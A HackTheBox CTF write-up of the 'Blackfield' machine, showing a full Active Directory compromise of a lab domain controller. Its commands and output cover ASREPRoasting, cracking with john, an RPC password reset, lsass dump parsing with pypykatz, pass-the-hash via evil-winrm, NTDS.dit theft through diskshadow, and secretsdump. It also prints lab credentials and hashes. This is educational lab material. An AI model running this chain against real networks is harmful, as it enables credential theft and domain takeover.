Blackfield image

Blackfield (Hard)

Summary

Blackfield is my first Hard machine from HackTheBox. It showed me some valuable Active Directory tricks that I will show you today. Hope you enjoy it!

Ports and services enumeration

We will start enumerating ports and services using nmap.

root@PwnedC0ffee:~# nmap -sC -sV 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-28 10:49 EDT
Nmap scan report for 10.10.10.192
Host is up (0.042s latency).
Not shown: 993 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-09-28 21:49:22Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=9/28%Time=5F71F7F6%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.00: 
|_    Message signing enabled and required
|_smb2-time: Protocol negotiation failed (SMB2)

As we can see, we are dealing with a Domain Controller for an Active Directory at the domain blackfield.local. The hostname is DC01.

Potentially interesting ports are 88 (Kerberos), 445 (SMB) and 3286 (LDAP).

At the moment of this writeup, I am getting familiar with the Active Directory technologies and pentesting. So this machine took me a long time and I really had to search a lot of things in Google. That’s why it is really probable that I have misunderstood something. Feel free to email me with any correction if you see any mistake!

SMB Enumeration

A common mistake on SMB servers is enabling anonymous authentication. We will use smbclient (a FTP-like client for SMB) and try to login using an empty password:

smbclient -L //10.10.10.192
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	forensic        Disk      Forensic / Audit share.
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	profiles$       Disk      
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

This will show us several share disks, but two of them seem interesting: forensic and profiles$.

So let’s enumerate profiles$:

root@PwnedC0ffee:~# smbclient //10.10.10.192/profiles$
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jun  3 12:47:12 2020
  ..                                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni                             D        0  Wed Jun  3 12:47:11 2020
  (...)
  audit2020                           D        0  Wed Jun  3 12:47:11 2020
  (...)
  support                             D        0  Wed Jun  3 12:47:12 2020
  svc_backup                          D        0  Wed Jun  3 12:47:12 2020
  (...)

A large list of usernames will be displayed. However, there are three of them which stands out because of the name structure: audit2020, support and svc_backup. So we add them to a file named users.txt.

ASREPRoast Attack

ASREPRoast Attack looks for users without Kerberos pre-authentication required attribute. This means we can request authentication data for any user in the domain and the DC would return an encrypted TGT that can be brute-forced offline.

For this purpose we’ll use Impacket’s GetNPUsers.py:

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# python ~/Tools/Impacket/examples/GetNPUsers.py blackfield.local/ -usersfile users.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
  from cryptography import x509
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set

We have obtained the encrypted TGT for user support. Let’s crack it.

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# cat hash.txt 
$krb5asrep$support@BLACKFIELD.LOCAL:020491bb9675513bdc06bdd93dd18518$1b46e6c498d6a9581192e468747524a32e74df1d9056df167f098f2e04e19cc1509b11f35ad12488bc7bcef852747f8cb57c1d06523df2bf443f67bb0293b51cf412a7dc913334c2c64e93877f2b2f8095376cd4b806c409b7fd0409a402d59d46232ecdb9f212705a5f5e1b6ac909dedb4d4591608e19e4761e0c2e855e7c89a8811059f439c578434a77205d1e7464b03190a93f7bd44cf1aa15c304e3f198acd3c625d4d31891e34f26a2a1207c6cb84b2c094e30725b22ddc580bee58ace6334041d9bd4c571cafd55b255bb17c9e350c3a2b90aebae528826247422c954d774a19d8aff70dd96ef8ba1c3f8b372fe259e08

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$support@BLACKFIELD.LOCAL)
1g 0:00:00:10 DONE (2020-09-28 12:47) 0.09233g/s 1323Kp/s 1323Kc/s 1323KC/s #1WIF3Y..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# john hash.txt --show
$krb5asrep$support@BLACKFIELD.LOCAL:#00^BlackKnight

1 password hash cracked, 0 left

So we have the following credentials:

support : #00^BlackKnight

RPC

Once I got the credentials, I remembered the RPC service running, from the nmap scan. I tried to login using rpcclient and it worked!

root@PwnedC0ffee:~# rpcclient -U support -W blackfield.local 10.10.10.192
Enter BLACKFIELD.LOCAL\support's password: 
rpcclient $>

So now it’s time for some RPC enumeration. First of all, we can retrieve domain usernames:

rpcclient $> getusername
Account Name: support, Authority Name: BLACKFIELD
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
(...)
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]

We can see a new interesting username: lydericlefebvre.

A bit of Google showed me that I could change non-admin users’ passwords from RPC.

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020: Asdf2020
Enter WORKGROUP\support's password: #00^BlackKnight

Again SMB (forensic)

At this moment I remembered the forensic share on SMB server. When I tried to access, it required credentials (and empty password didn’t work). So I tried to login as audit2020.

root@PwnedC0ffee:~# smbclient //10.10.10.192/forensic --user=audit2020 --workgroup=blackfield.local
Enter BLACKFIELD.LOCAL\audit2020's password: Asdf2020
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

		7846143 blocks of size 4096. 4003918 blocks available
smb: \> 

Here we will find several interesting things. First of all, the usename and share drive make us think that there is an auditory in course. Inside the tools directory, we’ll find volatility, which is a known tool to perform memory analysis.

If we go to memory_internals/ we’ll see a file called lsass.zip. Let’s download it for further analysis:

smb: \memory_analysis\> ls
  .                                   D        0  Thu May 28 16:28:33 2020
  ..                                  D        0  Thu May 28 16:28:33 2020
  conhost.zip                         A 37876530  Thu May 28 16:25:36 2020
  ctfmon.zip                          A 24962333  Thu May 28 16:25:45 2020
  dfsrs.zip                           A 23993305  Thu May 28 16:25:54 2020
  dllhost.zip                         A 18366396  Thu May 28 16:26:04 2020
  ismserv.zip                         A  8810157  Thu May 28 16:26:13 2020
  lsass.zip                           A 41936098  Thu May 28 16:25:08 2020
  mmc.zip                             A 64288607  Thu May 28 16:25:25 2020
  RuntimeBroker.zip                   A 13332174  Thu May 28 16:26:24 2020
  ServerManager.zip                   A 131983313  Thu May 28 16:26:49 2020
  sihost.zip                          A 33141744  Thu May 28 16:27:00 2020
  smartscreen.zip                     A 33756344  Thu May 28 16:27:11 2020
  svchost.zip                         A 14408833  Thu May 28 16:27:19 2020
  taskhostw.zip                       A 34631412  Thu May 28 16:27:30 2020
  winlogon.zip                        A 14255089  Thu May 28 16:27:38 2020
  wlms.zip                            A  4067425  Thu May 28 16:27:44 2020
  WmiPrvSE.zip                        A 18303252  Thu May 28 16:27:53 2020

		7846143 blocks of size 4096. 4003629 blocks available
smb: \memory_analysis\> get lsass.zip 
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (2285.6 KiloBytes/sec) (average 2264.6 KiloBytes/sec)

After unzipping it, we’ll get a file named lsass.DMP, which seems to be a memory dump of the lsass process, which is used by Windows for authorization processes.

There is a known attack which consists in retrieving hashes from the lsass process dump. Mimikatz can be used to get the hashes from the dump. Luckily for us (Linux users), there is a Python port for this tool, called Pypykatz. So we run pypykatz to get the hashes:

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
	== MSV ==
		Username: svc_backup
		Domain: BLACKFIELD
		LM: NA
		NT: 9658d1d1dcd9250115e2205d9f48400d
		SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
(...)

The first result shows the NT hash for the svc_backup user. We can now use evilwinrm to pass-the-hash and break into the system!

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> $env:username
svc_backup

We can now read user.txt, which is located at C:\Users\svc_backup\Desktop\

Privilege Escalation

Okay, this was the hard part. I had no idea of what I was doing, so I will try to explain what I understood.

First of all, we check svc_service privileges:

*Evil-WinRM* PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We have SeBackupPrivilege and SeRestorePrivilege, which means we can backup and restore files in the AD. This PDF showed me the way to root. What we want to do is to backup the NTDS.dit.

The NTDS.dit is the Active Directory database which stores hashes, among other things. However, we’ll need the boot key stored in the SYSTEM hive in the Registry in order to decrypt it.

NTDS.dit Backup Using diskshadow

Diskshadow is an interactive command interpreter similar to Diskpart, which can be used to create Volume Shadow Snapshots (VSS) of disks and expose them as a diskletter.

First of all we will create a script with diskshadow’s commands:

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# cat script.txt 
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias pwnedcoffee
create
expose %pwnedcoffee% z:

And upload it to the Windows machine through evil-winrm:

*Evil-WinRM* PS C:\> New-Item -ItemType directory c:\Temp


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/28/2020   6:01 PM                Temp


*Evil-WinRM* PS C:\> cd Temp

*Evil-WinRM* PS C:\Temp> upload /root/Desktop/hackthebox/blackfield/script.txt
Info: Uploading /root/Desktop/hackthebox/blackfield/script.txt to C:\Temp\script.txt

                                                             
Data: 128 bytes of 128 bytes copied

Info: Upload successful!

We need to obtain the privilege to copy the NTDS.dit file:

*Evil-WinRM* PS C:\> $NTDS = "C:\Windows\NTDS\ntds.dit"
*Evil-WinRM* PS C:\>  $acl = Get-Acl $NTDS
*Evil-WinRM* PS C:\> $AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
*Evil-WinRM* PS C:\> $acl.SetAccessRule($AccessRule)
*Evil-WinRM* PS C:\> $acl | Set-Acl $NTDS

Now we can mount the file system using diskshadow and our script:

*Evil-WinRM* PS C:\Temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  9/28/2020 6:16:01 PM

-> SET CONTEXT PERSISTENT NOWRITER

SET CONTEXT { CLIENTACCESSIBLE | PERSISTENT [ NOWRITERS ] | VOLATILE [ NOWRITERS ] }

        CLIENTACCESSIBLE        Specify to create shadow copies usable by client versions of Windows.
        PERSISTENT              Specify that shadow copy is persist across program exit, reset or reboot.
        PERSISTENT NOWRITERS    Specify that shadow copy is persistent and all writers are excluded.
        VOLATILE                Specify that shadow copy will be deleted on exit or reset.
        VOLATILE NOWRITERS      Specify that shadow copy is volatile and all writers are excluded.

        Example: SET CONTEXT CLIENTACCESSIBLE

But I got an error when running the script. I don’t know why, but it seems that the last character of every line was being removed. So I decided to add a dummy character at the end.

SET CONTEXT PERSISTENT NOWRITERS$
add volume c: alias pwnedcoffee$
create$
expose %pwnedcoffee% z:$

And now it works perfectly!

*Evil-WinRM* PS C:\Temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  9/28/2020 6:17:54 PM

-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias pwnedcoffee
-> create
Alias pwnedcoffee for shadow ID {2389e80b-ca09-4ab4-a472-5f8239201264} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc} set as environment variable.

Querying all shadow copies with the shadow copy set ID {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc}

	* Shadow copy ID = {2389e80b-ca09-4ab4-a472-5f8239201264}		%pwnedcoffee%
		- Shadow copy set: {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
		- Creation time: 9/28/2020 6:17:55 PM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
		- Originating machine: DC01.BLACKFIELD.local
		- Service machine: DC01.BLACKFIELD.local
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %pwnedcoffeey% z:
Could not find value for alias pwnedcoffeey in current environment.
Cannot execute command. One or more aliases do not exist.

Now we can copy the NTDS.dit file into C:\Temp and download it:

*Evil-WinRM* PS z:\Windows\NTDS> cp ntds.dit C:\Temp
*Evil-WinRM* PS z:\Windows\NTDS> cd C:\Temp
*Evil-WinRM* PS C:\Temp> download ntds.dit
Info: Downloading C:\Temp\ntds.dit to ntds.dit

                                                             
Info: Download successful!

And we need also the System hive in the registry:

*Evil-WinRM* PS C:\Temp> reg save hklm\system .\system.bak
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> download .\system.bak
Info: Downloading C:\Temp\.\system.bak to system.bak
                                                             
Info: Download successful!

Getting the Administrator hash

We will use impacket-secretsdump to retrieve hashes from the NTDS.dit file:

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
(...)

We can now pass-the-hash using evil-winrm again to get Administrator access:

root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# evil-winrm -u Administrator -H 184fb5e5178480be64824d4cd53b99ee -i 10.10.10.192

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator

And finally we can get the root.txt flag!